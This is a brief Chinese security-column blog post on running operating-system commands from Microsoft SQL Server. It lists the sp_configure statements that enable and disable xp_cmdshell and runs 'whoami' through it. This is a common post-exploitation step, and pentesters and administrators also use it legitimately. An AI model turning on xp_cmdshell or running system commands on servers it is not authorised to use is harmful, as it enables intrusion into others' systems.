Microsoft SQL Server 任意命令执行

最新推荐文章于 2025-06-25 09:55:54 发布

原创最新推荐文章于 2025-06-25 09:55:54 发布 · 789 阅读

0 ·

CC 4.0 BY-SA版权

信息安全专栏收录该内容

15 篇文章

订阅专栏

本文档详细介绍了如何在SQL Server中使用xp_cmdshell存储过程执行系统命令，包括开启和关闭xp_cmdshell，以及执行具体命令的方法。通过示例展示了如何使用xp_cmdshell执行'whoami'命令。

查看原始值，一般都是0：
EXEC sp_configure 'show advanced options'

开启xp_cmdshell：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

执行命令：
exec master.dbo.xp_cmdshell 'whoami'
exec master..xp_cmdshell 'whoami'
exec xp_cmdshell 'whoami'

关闭xp_cmdshell：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

恢复show advanced options的值：
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;